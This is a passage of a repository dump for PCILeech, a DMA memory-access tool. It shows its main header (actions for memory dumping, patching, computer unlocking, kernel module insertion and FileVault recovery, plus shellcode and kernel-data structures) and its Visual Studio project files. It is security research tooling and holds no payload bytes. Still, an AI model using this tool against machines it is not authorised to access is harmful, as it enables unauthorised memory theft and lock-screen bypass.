defined(MACOS)\n    ExitProcess(0);\n#else /* LINUX || MACOS */\n    __try {\n\n        ExitProcess(0);\n    } __except(EXCEPTION_EXECUTE_HANDLER) { ; }\n#endif /* LINUX || MACOS */\n    return 0;\n}\n"
  },
  {
    "path": "pcileech/pcileech.h",
    "content": "// pcileech.h : definitions for pcileech - dump memory and unlock computers with a USB3380 device using DMA.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __PCILEECH_H__\n#define __PCILEECH_H__\n#include <leechcore.h>\n\n#ifdef _WIN32\ntypedef unsigned __int64                    QWORD, *PQWORD;\n#endif /* _WIN32 */\n#if defined(LINUX) || defined(MACOS)\n#define WINAPI\ntypedef uint16_t                            WORD, *PWORD, USHORT, *PUSHORT;\ntypedef long long unsigned int              QWORD, *PQWORD, ULONG64, *PULONG64;\n#endif /* LINUX || MACOS */\n\n#define SIZE_PAGE_ALIGN_4K(x)                ((x + 0xfff) & ~0xfff)\n#define CONFIG_MAX_SIGNATURES                256\n#define PCILEECH_DEVICE_EQUALS(name)         (0 == _stricmp(ctxMain->dev.szDeviceName, name))\n\n#pragma pack(push, 1) /* DISABLE STRUCT PADDINGS (REENABLE AFTER STRUCT DEFINITIONS) */\ntypedef struct tdSignaturePTE {\n    WORD cPages;\n    WORD wSignature;\n} SIGNATUREPTE, *PSIGNATUREPTE;\n#pragma pack(pop) /* RE-ENABLE STRUCT PADDINGS */\n\ntypedef struct tdPCILEECH_CONTEXT        PCILEECH_CONTEXT, *PPCILEECH_CONTEXT;\n\ntypedef enum tdActionType {\n    NA,\n    NONE,\n    BENCHMARK,\n    INFO,\n    DUMP,\n    WRITE,\n    PATCH,\n    SEARCH,\n    DISPLAY,\n    PAGEDISPLAY,\n    TESTMEMREAD,\n    TESTMEMREADWRITE,\n    KMDLOAD,\n    KMDEXIT,\n    EXEC_KMD,\n    EXEC_UMD,\n    MOUNT,\n    MAC_FVRECOVER,\n    MAC_FVRECOVER2,\n    MAC_DISABLE_VTD,\n    PT_PHYS2VIRT,\n    PT_VIRT2PHYS,\n    TLP,\n    TLPLOOP,\n    PROBE,\n    REGCFG,\n    PSLIST,\n    PSVIRT2PHYS,\n    AGENT_EXEC_PY,\n    AGENT_FORENSIC,\n    EXTERNAL_COMMAND_MODULE\n} ACTION_TYPE;\n\ntypedef struct tdCONFIG_OPTION {\n    QWORD isValid;\n    QWORD qwValue;\n} CONFIG_OPTION;\n\ntypedef struct tdConfig {\n    QWORD paAddrMin;\n    QWORD paAddrMax;\n    QWORD paCR3;\n    QWORD paEFI_IBI_SYST;\n    QWORD paKMD;\n    CHAR szDevice[MAX_PATH];\n    CHAR szRemote[MAX_PATH];\n    CHAR szMemMap[MAX_PATH];\n    CHAR szMemMapStr[2048];\n    CHAR szFileOut[MAX_PATH];\n    PBYTE pbIn;\n    QWORD cbIn;\n    CHAR szInS[MAX_PATH];\n    CHAR szMount[MAX_PATH];\n    QWORD qwDataIn[10];\n    ACTION_TYPE tpAction;\n    CHAR szSignatureName[MAX_PATH];\n    CHAR szKMDName[MAX_PATH];\n    CHAR szShellcodeName[MAX_PATH];\n    CHAR szHook[MAX_PATH];\n    DWORD dwListenTlpTimeMs;\n    CHAR szExternalCommandModule[MAX_PATH];\n    // virtual address options\n    BOOL fModeVirtual;\n    DWORD dwPID;\n    QWORD vaAddrMin;\n    QWORD vaAddrMax;\n    CHAR szProcessName[MAX_PATH];\n    // flags below\n    BOOL fPageTableScan;\n    BOOL fPatchAll;\n    BOOL fForceRW;\n    BOOL fShowHelp;\n    BOOL fOutFile;\n    BOOL fVerbose;\n    BOOL fVerboseExtra;\n    BOOL fVerboseExtraTlp;\n    BOOL fDebug;\n    BOOL fPartialPageReadSupported;\n    BOOL fAddrKMDSetByArgument;\n    BOOL fLoop;\n    BOOL fUserInteract;\n    BOOL fNoKmdMem;\n    BOOL fBarZeroReadOnly;\n    BOOL fBarZeroReadWrite;\n} CONFIG, *PCONFIG;\n\n#define SIGNATURE_CHUNK_TP_OFFSET_FIXED     0\n#define SIGNATURE_CHUNK_TP_OFFSET_RELATIVE  1\n#define SIGNATURE_CHUNK_TP_OFFSET_ANY       2\ntypedef struct tdSignatureChunk {\n    QWORD qwAddress;\n    DWORD cbOffset;\n    DWORD cb;\n    BYTE tpOffset;\n    BYTE pb[4096];\n} SIGNATURE_CHUNK, *PSIGNATURE_CHUNK;\n\ntypedef struct tdSignature {\n    // in unlock mode:\n    //   chunk[0] = signature chunk 1 (required)\n    //   chunk[1] = signature chunk 2 (optional)\n    //   chunk[2] = patch chunk (required)\n    //   chunk[3..5] = (not used)\n    // in kmd mode:\n    //   chunk[0] = signature 1/page 1/SHA256(page1) (required)\n    //   chunk[1] = signature 2/page 2/SHA256(page2) (required)\n    //   chunk[2] = shellcode 1\n    //   chunk[3] = shellcode 2\n    //   chunk[4] = shellcode 3\n    //   chunk[5] = PTE signature (only needed in PTE mode)\n    SIGNATURE_CHUNK chunk[6];\n} SIGNATURE, *PSIGNATURE;\n\n#define KMDEXEC_MAGIC 0x3cec1337\n#pragma pack(push, 1) /* DISABLE STRUCT PADDINGS (REENABLE AFTER STRUCT DEFINITIONS) */\ntypedef struct tdKmdExec {\n    DWORD dwMagic;\n    BYTE pbChecksumSHA256[32];\n    QWORD qwVersion;\n    union {\n        LPSTR szOutFormatPrintf;\n        QWORD _Filler2;\n    };\n    QWORD cbShellcode;\n    union {\n        PBYTE pbShellcode;\n        QWORD _Filler3;\n    };\n    QWORD _Filler4[4];\n} KMDEXEC, *PKMDEXEC;\n#pragma pack(pop) /* RE-ENABLE STRUCT PADDINGS */\n\n#define KMDDATA_OPERATING_SYSTEM_WINDOWS    0x01\n#define KMDDATA_OPERATING_SYSTEM_LINUX      0x02\n#define KMDDATA_OPERATING_SYSTEM_MACOS      0x04\n#define KMDDATA_OPERATING_SYSTEM_FREEBSD    0x08\n#define KMDDATA_OPERATING_SYSTEM_UEFI       0x10\n\n#define KMDDATA_MAGIC                       0xff11337711333377\n#define KMDDATA_MAGIC_PARTIAL               0xff11337711333388\n\n#define KMD_CMD_VOID                        0xffff\n#define KMD_CMD_COMPLETED                   0\n#define KMD_CMD_READ                        1\n#define KMD_CMD_WRITE                       2\n#define KMD_CMD_TERMINATE                   3\n#define KMD_CMD_MEM_INFO                    4\n#define KMD_CMD_EXEC                        5\n#define KMD_CMD_READ_VA                     6\n#define KMD_CMD_WRITE_VA                    7\n#define KMD_CMD_EXEC_EXTENDED               8\n\n/*\n* KMD DATA struct. This struct must be contained in a 4096 byte section (page).\n* This page/struct is used to communicate between the inserted kernel code and\n* the pcileech program.\n* VNR: 003\n*/\ntypedef struct tdKMDDATA {\n    QWORD MAGIC;                    // [0x000] magic number 0x0ff11337711333377.\n    QWORD AddrKernelBase;           // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS).\n    QWORD AddrKallsymsLookupName;   // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX).\n    QWORD DMASizeBuffer;            // [0x018] size of DMA buffer.\n    QWORD DMAAddrPhysical;          // [0x020] physical address of DMA buffer.\n    QWORD DMAAddrVirtual;           // [0x028] virtual address of DMA buffer.\n    QWORD _status;                  // [0x030] status of operation\n    QWORD _result;                  // [0x038] result of operation TRUE|FALSE\n    QWORD _address;                 // [0x040] address to operate on.\n    QWORD _size;                    // [0x048] size of operation / data in DMA buffer.\n    QWORD OperatingSystem;          // [0x050] operating system type\n    QWORD ReservedKMD[8];           // [0x058] reserved for specific kmd data (dependant on KMD version).\n    QWORD ReservedFutureUse1[13];   // [0x098] reserved for future use.\n    QWORD dataInExtraLength;        // [0x100] length of extra in-data.\n    QWORD dataInExtraOffset;        // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual.\n    QWORD dataInExtraLengthMax;     // [0x110] maximum length of extra in-data.\n    QWORD dataInConsoleBuffer;      // [0x118] physical address of 1-page console buffer.\n    QWORD dataIn[28];               // [0x120]\n    QWORD dataOutExtraLength;       // [0x200] length of extra out-data.\n    QWORD dataOutExtraOffset;       // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual.\n    QWORD dataOutExtraLengthMax;    // [0x210] maximum length of extra out-data.\n    QWORD dataOutConsoleBuffer;     // [0x218] physical address of 1-page console buffer.\n    QWORD dataOut[28];              // [0x220]\n    QWORD fn[32];                   // [0x300] used by shellcode to store function pointers.\n    CHAR dataInStr[MAX_PATH];       // [0x400] string in-data\n    CHAR ReservedFutureUse2[252];\n    CHAR dataOutStr[MAX_PATH];      // [0x600] string out-data\n    CHAR ReservedFutureUse3[252];\n    QWORD ReservedFutureUse4[255];  // [0x800]\n    QWORD _op;                      // [0xFF8] (op is last 8 bytes in 4k-page)\n} KMDDATA, *PKMDDATA;\n\ntypedef struct _PHYSICAL_MEMORY_RANGE {\n    QWORD BaseAddress;\n    QWORD NumberOfBytes;\n} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;\n\ntypedef struct tdKMDHANDLE {\n    DWORD dwPageAddr32;\n    QWORD cPhysicalMap;\n    PPHYSICAL_MEMORY_RANGE pPhysicalMap;\n    PKMDDATA pk;\n    BYTE pbPageData[4096];\n} KMDHANDLE, *PKMDHANDLE;\n\ntypedef struct tdVFS_CONTEXT {\n    BOOL fInitialized;\n    WCHAR wchMountPoint;\n    BOOL(WINAPI *pfnDokanUnmount)(WCHAR DriveLetter);\n} VFS_CONTEXT, *PVFS_CONTEXT;\n\n#define PCILEECH_CONTEXT_MAGIC              0xfeefd00d\n#define PCILEECH_CONTEXT_VERSION                  0x45\n\ntypedef struct tdVMM_HANDLE *VMM_HANDLE;\n\n/*\n* The main PCILeech context as found in the ctxMain global variable.\n* Any external command module using this struct or any of its sub-\n* structs must check the fields magic and version against the defines\n* PCILEECH_CONTEXT_MAGIC and PCILEECH_CONTEXT_VERSION to determine\n* compatibility before taking any actions on the struct.\n*/\nstruct tdPCILEECH_CONTEXT {\n    DWORD magic;\n    DWORD version;\n    CONFIG cfg;\n    HANDLE hLC;\n    LC_CONFIG dev;\n    HANDLE hDevice;\n    PKMDHANDLE phKMD;\n    PKMDDATA pk;\n    VFS_CONTEXT vfs;\n    DWORD argc;\n    char** argv;\n    VMM_HANDLE hVMM;\n};\n\nBOOL PCILeechConfigIntialize(_In_ DWORD argc, _In_ char* argv[]);\nVOID PCILeechConfigFixup();\nVOID PCILeechFreeContext();\n\n// ----------------------------------------------------------------------------\n// PCILeech global variables below:\n// ----------------------------------------------------------------------------\n\nextern PPCILEECH_CONTEXT ctxMain;\n\n#endif /* __PCILEECH_H__ */\n"
  },
  {
    "path": "pcileech/pcileech.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"Makefile\" />\n    <None Include=\"Makefile.macos\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"pcileech.rc\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"..\\includes\\dokan.h\" />\n    <ClInclude Include=\"..\\includes\\fileinfo.h\" />\n    <ClInclude Include=\"..\\includes\\leechcore.h\" />\n    <ClInclude Include=\"..\\includes\\public.h\" />\n    <ClInclude Include=\"..\\includes\\vmmdll.h\" />\n    <ClInclude Include=\"device.h\" />\n    <ClInclude Include=\"executor.h\" />\n    <ClInclude Include=\"extra.h\" />\n    <ClInclude Include=\"help.h\" />\n    <ClInclude Include=\"kmd.h\" />\n    <ClInclude Include=\"memdump.h\" />\n    <ClInclude Include=\"mempatch.h\" />\n    <ClInclude Include=\"ob\\ob.h\" />\n    <ClInclude Include=\"oscompatibility.h\" />\n    <ClInclude Include=\"pcileech.h\" />\n    <ClInclude Include=\"shellcode.h\" />\n    <ClInclude Include=\"statistics.h\" />\n    <ClInclude Include=\"umd.h\" />\n    <ClInclude Include=\"util.h\" />\n    <ClInclude Include=\"version.h\" />\n    <ClInclude Include=\"vfs.h\" />\n    <ClInclude Include=\"vmmx.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"charutil.c\" />\n    <ClCompile Include=\"device.c\" />\n    <ClCompile Include=\"executor.c\" />\n    <ClCompile Include=\"extra.c\" />\n    <ClCompile Include=\"help.c\" />\n    <ClCompile Include=\"kmd.c\" />\n    <ClCompile Include=\"memdump.c\" />\n    <ClCompile Include=\"mempatch.c\" />\n    <ClCompile Include=\"ob\\ob_cachemap.c\" />\n    <ClCompile Include=\"ob\\ob_core.c\" />\n    <ClCompile Include=\"ob\\ob_map.c\" />\n    <ClCompile Include=\"ob\\ob_set.c\" />\n    <ClCompile Include=\"oscompatibility.c\" />\n    <ClCompile Include=\"pcileech.c\" />\n    <ClCompile Include=\"statistics.c\" />\n    <ClCompile Include=\"umd.c\" />\n    <ClCompile Include=\"util.c\" />\n    <ClCompile Include=\"vfs.c\" />\n    <ClCompile Include=\"vfslist.c\" />\n    <ClCompile Include=\"vmmx.c\" />\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <ProjectGuid>{DFFA1B4C-279B-4356-ADB1-08A6F4795931}</ProjectGuid>\n    <RootNamespace>pcileech</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>false</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>false</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <OutDir>$(SolutionDir)\\files\\</OutDir>\n    <IntDir>$(SolutionDir)\\files\\temp\\$(ProjectName)\\</IntDir>\n    <IncludePath>$(VC_IncludePath);$(WindowsSDK_IncludePath);$(SolutionDir)includes;</IncludePath>\n    <LibraryPath>$(VC_LibraryPath_x64);$(WindowsSDK_LibraryPath_x64);$(SolutionDir)includes\\lib64;</LibraryPath>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <IncludePath>$(VC_IncludePath);$(WindowsSDK_IncludePath);$(SolutionDir)includes;</IncludePath>\n    <LibraryPath>$(VC_LibraryPath_x86);$(WindowsSDK_LibraryPath_x86);$(SolutionDir)includes\\lib32;</LibraryPath>\n    <OutDir>$(SolutionDir)files\\$(PlatformShortName)\\</OutDir>\n    <IntDir>$(SolutionDir)files\\temp\\$(ProjectName)\\$(PlatformShortName)\\</IntDir>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <OutDir>$(SolutionDir)\\files\\</OutDir>\n    <IntDir>$(SolutionDir)\\files\\temp\\$(ProjectName)\\</IntDir>\n    <LinkIncremental>\n    </LinkIncremental>\n    <IncludePath>$(VC_IncludePath);$(WindowsSDK_IncludePath);$(SolutionDir)includes;</IncludePath>\n    <LibraryPath>$(VC_LibraryPath_x64);$(WindowsSDK_LibraryPath_x64);$(SolutionDir)includes\\lib64;</LibraryPath>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <LinkIncremental />\n    <IncludePath>$(VC_IncludePath);$(WindowsSDK_IncludePath);$(SolutionDir)includes;</IncludePath>\n    <LibraryPath>$(VC_LibraryPath_x86);$(WindowsSDK_LibraryPath_x86);$(SolutionDir)includes\\lib32;</LibraryPath>\n    <OutDir>$(SolutionDir)files\\$(PlatformShortName)\\</OutDir>\n    <IntDir>$(SolutionDir)files\\temp\\$(ProjectName)\\$(PlatformShortName)\\</IntDir>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <SDLCheck>true</SDLCheck>\n      <AdditionalOptions>/D WIN32 %(AdditionalOptions)</AdditionalOptions>\n      <CompileAs>CompileAsC</CompileAs>\n    </ClCompile>\n    <Link>\n      <FullProgramDatabaseFile>\n      </FullProgramDatabaseFile>\n      <GenerateDebugInformation>Debug</GenerateDebugInformation>\n      <AdditionalDependencies>leechcore.lib;vmm.lib;%(AdditionalDependencies)</AdditionalDependencies>\n      <ProgramDatabaseFile>$(OutDir)\\lib\\$(TargetName).pdb</ProgramDatabaseFile>\n      <SubSystem>Console</SubSystem>\n    </Link>\n    <PreBuildEvent>\n      <Command>\n      </Command>\n    </PreBuildEvent>\n    <PostBuildEvent>\n      <Command>\n      </Command>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <SDLCheck>true</SDLCheck>\n      <AdditionalOptions>/D WIN32 %(AdditionalOptions)</AdditionalOptions>\n      <CompileAs>CompileAsC</CompileAs>\n    </ClCompile>\n    <Link>\n      <FullProgramDatabaseFile>\n      </FullProgramDatabaseFile>\n      <GenerateDebugInformation>Debug</GenerateDebugInformation>\n      <AdditionalDependencies>leechcore.lib;vmm.lib;%(AdditionalDependencies)</AdditionalDependencies>\n      <ProgramDatabaseFile>$(OutDir)\\lib\\$(TargetName).pdb</ProgramDatabaseFile>\n      <SubSystem>Console</SubSystem>\n    </Link>\n    <PreBuildEvent>\n      <Command>\n      </Command>\n    </PreBuildEvent>\n    <PostBuildEvent>\n      <Command>\n      </Command>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>\n      </SDLCheck>\n      <AdditionalOptions>/D WIN32 %(AdditionalOptions)</AdditionalOptions>\n      <CompileAs>CompileAsC</CompileAs>\n    </ClCompile>\n    <Link>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <FullProgramDatabaseFile>\n      </FullProgramDatabaseFile>\n      <GenerateDebugInformation>false</GenerateDebugInformation>\n      <ModuleDefinitionFile>\n      </ModuleDefinitionFile>\n      <SubSystem>Console</SubSystem>\n      <ProgramDatabaseFile />\n      <AdditionalDependencies>leechcore.lib;vmm.lib;%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n    <PreBuildEvent>\n      <Command>\n      </Command>\n    </PreBuildEvent>\n    <PostBuildEvent>\n      <Command>\n      </Command>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>\n      </SDLCheck>\n      <AdditionalOptions>/D WIN32 %(AdditionalOptions)</AdditionalOptions>\n      <CompileAs>CompileAsC</CompileAs>\n    </ClCompile>\n    <Link>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <FullProgramDatabaseFile>\n      </FullProgramDatabaseFile>\n      <GenerateDebugInformation>false</GenerateDebugInformation>\n      <ModuleDefinitionFile>\n      </ModuleDefinitionFile>\n      <SubSystem>Console</SubSystem>\n      <ProgramDatabaseFile>\n      </ProgramDatabaseFile>\n      <AdditionalDependencies>leechcore.lib;vmm.lib;%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n    <PreBuildEvent>\n      <Command>\n      </Command>\n    </PreBuildEvent>\n    <PostBuildEvent>\n      <Command>\n      </Command>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "pcileech/pcileech.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\\includes\">\n      <UniqueIdentifier>{b5332eb1-5727-4efd-84e5-83cda653c431}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\ob\">\n      <UniqueIdentifier>{95661a3c-2e91-40f9-8af4-abcf2f03eb52}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Header Files\\ob\">\n      <UniqueIdentifier>{db37c203-79b1-4412-9064-840ab38c29fd}</UniqueIdentifier>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"Makefile\">\n      <Filter>Resource Files</Filter>\n    </None>\n    <None Include=\"Makefile.macos\">\n      <Filter>Resource Files</Filter>\n    </None>\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"pcileech.rc\">\n      <Filter>Resource Files</Filter>\n    </ResourceCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"device.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"executor.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"extra.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"help.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"kmd.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"memdump.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"mempatch.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"oscompatibility.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"pcileech.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"shellcode.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"statistics.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"umd.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"util.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"version.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"vfs.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\includes\\dokan.h\">\n      <Filter>Header Files\\includes</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\includes\\fileinfo.h\">\n      <Filter>Header Files\\includes</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\includes\\leechcore.h\">\n      <Filter>Header Files\\includes</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\includes\\public.h\">\n      <Filter>Header Files\\includes</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\includes\\vmmdll.h\">\n      <Filter>Header Files\\includes</Filter>\n    </ClInclude>\n    <ClInclude Include=\"vmmx.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"ob\\ob.h\">\n      <Filter>Header Files\\ob</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"device.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"executor.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"extra.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"help.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"kmd.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"memdump.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"mempatch.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"oscompatibility.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"pcileech.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"statistics.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"umd.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"util.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"vfs.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"vmmx.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"ob\\ob_cachemap.c\">\n      <Filter>Source 